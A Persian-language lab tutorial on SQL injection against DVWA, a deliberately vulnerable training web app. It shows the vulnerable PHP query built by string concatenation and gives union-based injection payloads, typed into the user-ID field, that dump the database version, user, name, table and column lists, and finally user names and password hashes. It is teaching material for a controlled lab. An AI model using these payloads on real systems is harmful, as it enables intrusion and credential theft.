تزریق اس کیوال در دی وی دبلیو ا

دی وی دابلیو ا یک اپلیکیشن وب است که خیلی حفره دارد
به این معنی که بصورت عمدی وب اپلیکشنی طراحی کرده‌اند که آسیب پذیر است. اما چرا باید چنین چیزی طراحی شود؟
بطور کلی این اپلیکیشن برای مقاصد آموزشی طراحی شده است تا افراد علاقه‌مند، متخصصین، معلمان و دانش آموزان بتوانند در محیطی کنترل شده و قانونی به یادگیری امنیت وب اپلیکیشن‌ها، علل آسیب پذیری و نحوه برطرف کردن آسیب پذیری‌ها بپردازند.
این اپلیکیشن به زبان پی اچ پی و پایگاه داده مای اس کیوال نوشته شده است، میزان امنیت اپلیکیشن قابل تنظیم از کم، متوسط و زیاد می‌باشد. سورس کد مربوط به هر صفحه برای مقایسه قابل دسترسی است و برنامه نویسان می‌توانند با بررسی کدها به چگونگی برطرف کردن آسیب پذیری‌ها پی ببرند.
در این مقاله به بررسی بخش تزریق اس کیوال در دی وی دابلیو ا می‌پردازیم.
تزریق اس کیوال یک تکنیک تزریق کد است که، از آسیب پذیری‌های لایه پایگاه داده یک نرم‌افزار سوءاستفاده می‌کند. این بدان معناست که برای فریب اس کیوال سرور ، ممکن است قادر به استفاده از ورودی خاصی باشیم، تا آنچه که ما می‌خواهیم انجام شود.
در این مقاله موارد زیر را دنبال می‌کنیم:
ما با استفاده از تزریق عبارات همیشه درست اس کیوال در فیلد شناسه کاربری، تزریق اس کیوال را انجام می‌دهیم و امنیت در سطح پایین تنظیم می‌کنیم.
ما نام کاربری و محتویات رمزعبور خام را از جدول کاربران به دست می‌آوریم.
ورود به دی وی دابلیو ا
چپ
دستور العمل:
مرورگر خود را (Firefox, Chrome ,…) اجرا کنید.
در نوار آدرس مرورگر عبارت “http://192.168.1.6/dvwa/login.php” را وارد کنید. (توجه داشته باشید که بجای “۱۹۲٫۱۶۸٫۱٫۶” باید آدرس IP محلی که دی وی دبلیو ا در سیستم شما نصب شده است قرار بگیرد)
نام کاربری و رمزعبور را وارد کنید. (Username: admin , Password: password)
روی Login کلیک نمایید.
تنظیم سطح امنیتی دی وی دابلیو ا
چپ
دستورالعمل:
از منوی سمت چپ، بر روی گزینه “DVWA Security” کلیک کنید.
در قسمت “Script Security”، “Low” را انتخاب نمایید.
بر روی “Submit” کلیک نمایید.
راهنمای تزریق اس کیوال
چپ
منوی تزریق اس کیوال:
دستور العمل:
از منوی سمت چپ، گزینه “SQL Injection” را انتخای نمایید.
تزریق عمومی
دستور العمل:
عدد “۱” را در جعبه متن وارد کنید.
روی “Submit” کلیک کنید.
دقت داشته باشید، در کدی که برای این صفحه در نظر گرفته شده است، کد کاربری که یک عدد است را می‌گیرد و کد کاربری، نام و نام خانوادگی را نمایش می‌دهد.
نکته: selectیی که در PHP به کار رفته است و ما به آن حمله می‌کنیم، به صورت زیر است و ما به صورت خاص از فیلد “$id” استفاده می‌کنیم.
$getid = "SELECT first_name, last_name FROM users WHERE user_id = $id";
سناریوی همیشه درست
چپ
دستورالعمل:
متن زبر را در جعبه متن شناسه کاربری وارد کنید.(مانند شکل)
% or ۰=۰
روی “Submit” کلیک کنید.
نکته:
در این سناریو، ما به سیستم دستور می‌دهیم تمام رکوردهای نادرست و تمام رکوردهای درست را نمایش دهد.
% - احتمالا با هیچ شناسه کاربری برابر نیست و بنابراین همواره غلط است.
‘۰’=’۰’ – همواره درست است، چون همیشه ‘۰’ با ‘۰’ برابر است.
Selectیی که برای پایگاه داده ارسال می‌شود به صورت زیر است.
SELECT first_name, last_name FROM users WHERE user_id = % or ۰=۰;
نمایش نسخه پایگاه داده
چپ
دستور العمل:
متن زبر را در جعبه متن شناسه کاربری وارد کنید.(مانند شکل)
% or ۰=۰ union select null, version() #
روی “Submit” کلیک کنید.
نکته:
به آخرین خط نمایش داده شده توجه کنید که در نام خانوادگی “۵٫۱٫۶۰” قرار داده شده است.
این در واقع نسخه پایگاه داده mysql است.
نمایش کاربر پایگاه داده
چپ
دستور العمل:
متن زبر را در جعبه متن شناسه کاربری وارد کنید.(مانند شکل)
% or ۰=۰ union select null, user() #
روی “Submit” کلیک کنید.
نکته:
به آخرین خط نمایش داده شده توجه کنید که در نام خانوادگی “root@localhost” قرار داده شده است.
این نام، کاربر پایگاه داده است که در پشت صحنه، کد PHP را اجرا می‌کند.
نمایش نام پایگاه داده
چپ
دستور العمل:
متن زبر را در جعبه متن شناسه کاربری وارد کنید.(مانند شکل)
% or ۰=۰ union select null, database() #
روی “Submit” کلیک کنید.
نکته:
به آخرین خط نمایش داده شده توجه کنید که در نام خانوادگی “dvwa” قرار داده شده است.
این در واقع نام پایگاه داده است.
نمایش تمام جداول موجود در شمای پایگاه داده
چپ
دستور العمل:
متن زبر را در جعبه متن شناسه کاربری وارد کنید.(مانند شکل)
% and ۱=۰ union select null, table_name from information_schema.tables where table_name like user%#
روی “Submit” کلیک کنید.
نکته:
اکنون ما تمام جداول موجود در شمای پایگاه داده را نمایش دادیم.
اطلاعات موجود در شما، همان اطلاعات پایگاه داده است، شما جایی است که اطلاعات پایگاه داده‌های دیگری که روی MySQL Server هستند، ذخیره می‌شود.
نمایش تمام جداول کاربر در شمای پایگاه داده
چپ
دستور العمل:
متن زبر را در جعبه متن شناسه کاربری وارد کنید.(مانند شکل)
% and ۱=۰ union select null, table_name from information_schema.tables where table_name like user%#
روی “Submit” کلیک کنید.
نکته:
اکنون ما تمامی جداولی که در شما با پسوند “user” شروع شده‌اند، را نمایش داده‌ایم.
نمایش کلیه ستون‌های جدول کاربران موجود، در شمای پایگاه داده
چپ
دستورالعمل:
متن زبر را در جعبه متن شناسه کاربری وارد کنید.(مانند شکل)
% and ۱=۰ union select null, concat(table_name,0x0a,column_name) from information_schema.columns where table_name = users #
روی “Submit” کلیک کنید.
نکته:
اکنون ما تمام ستون‌های جدول users را نمایش داده‌ایم.
این ستون‌ها شامل user_id، first_name، last_name، user و Password است.
نمایش محتویات ستون‌های جدول کاربر موجود در شمای پایگاه داده
چپ
دستور العمل:
متن زبر را در جعبه متن شناسه کاربری وارد کنید.(مانند شکل)
% and ۱=۰ union select null, concat(first_name,0x0a,last_name,0x0a,user,0x0a,password) from users #
روی “Submit” کلیک کنید.
نکته:
اکنون ما موفق به نمایش تمام اطلاعات لازم برای احرازهویت و متصل شدن به پایگاه داده، شده‌ایم.